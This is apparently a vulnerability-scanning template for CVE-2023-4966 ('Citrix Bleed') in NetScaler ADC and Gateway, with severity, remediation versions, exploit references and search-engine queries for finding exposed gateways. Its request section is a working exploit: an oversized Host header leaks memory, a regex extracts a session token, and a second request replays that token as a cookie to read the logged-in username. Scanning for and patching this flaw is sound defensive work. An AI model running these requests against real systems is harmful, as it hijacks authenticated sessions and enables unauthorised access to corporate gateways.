id: CVE-2023-4966

info:
  name: Citrix Bleed - Leaking Session Tokens
  author: DhiyaneshDK
  severity: high
  description: |
    Sensitive information disclosure in NetScaler ADC and NetScaler Gateway when configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) or AAA ?virtual?server.
  impact: |
    Unauthenticated attackers can leak session tokens from memory, potentially hijacking authenticated sessions and accessing sensitive Gateway resources.
  remediation: |
    Apply Citrix security updates immediately. Affected versions include NetScaler ADC and Gateway 14.1 before 14.1-8.50, 13.1 before 13.1-49.15, 13.0 before 13.0-92.19, and 12.1 (EOL).
  reference:
    - https://github.com/assetnote/exploits/blob/main/citrix/CVE-2023-4966/exploit.py
    - https://github.com/Chocapikk/CVE-2023-4966
    - https://www.assetnote.io/resources/research/citrix-bleed-leaking-session-tokens-with-cve-2023-4966
    - https://x.com/assetnote/status/1716757539323564196?s=20
    - https://www.netscaler.com/blog/news/cve-2023-4966-critical-security-update-now-available-for-netscaler-adc-and-netscaler-gateway/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-4966
    cwe-id: CWE-119,NVD-CWE-noinfo
    epss-score: 0.99999
    epss-percentile: 0.99998
    cpe: cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:fips:*:*:*
  metadata:
    verified: "true"
    max-request: 2
    vendor: citrix
    product: netscaler_application_delivery_controller
    shodan-query:
      - title:"Citrix Gateway" || title:"Netscaler Gateway"
      - http.title:"citrix gateway" || title:"netscaler gateway"
    fofa-query: title="citrix gateway" || title:"netscaler gateway"
    google-query: intitle:"citrix gateway" || title:"netscaler gateway"
  tags: cve,cve2023,citrix,adc,info-leak,kev,exposure,vkev,vuln
variables:
  payload: '{{repeat("a", 24812)}}'
  str: "{{to_lower(rand_text_alpha(4))}}"

http:
  - raw:
      - |+
        GET /oauth/idp/.well-known/openid-configuration HTTP/1.1
        {{str}}: {{Hostname}}
        Host: {{payload}}

      - |+
        POST /logon/LogonPoint/Authentication/GetUserName HTTP/1.1
        Host: {{Hostname}}
        Cookie: NSC_AAAC={{session}}

    unsafe: true

    extractors:
      - type: regex
        name: session
        part: body_1
        group: 1
        regex:
          - '([a-f0-9]{100}45525d5f4f58455e445a4a42)'
        internal: true

      - type: regex
        part: body_2
        regex:
          - '([a-z0-9._]+)'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'NSC_AAAC='
          - 'HTTP/1.1'

      - type: word
        words:
          - '{"issuer":'
# digest: 490a0046304402202bde6a90ce278d32d82cb023a1a3be8ccf968a4da177734abc67d9454b64453202203606bb48e065c10441afe400ed0c146d7ef14f2cf4b50fff26a2e7d94d43d889:922c64590222798bb761d5b6d8e72950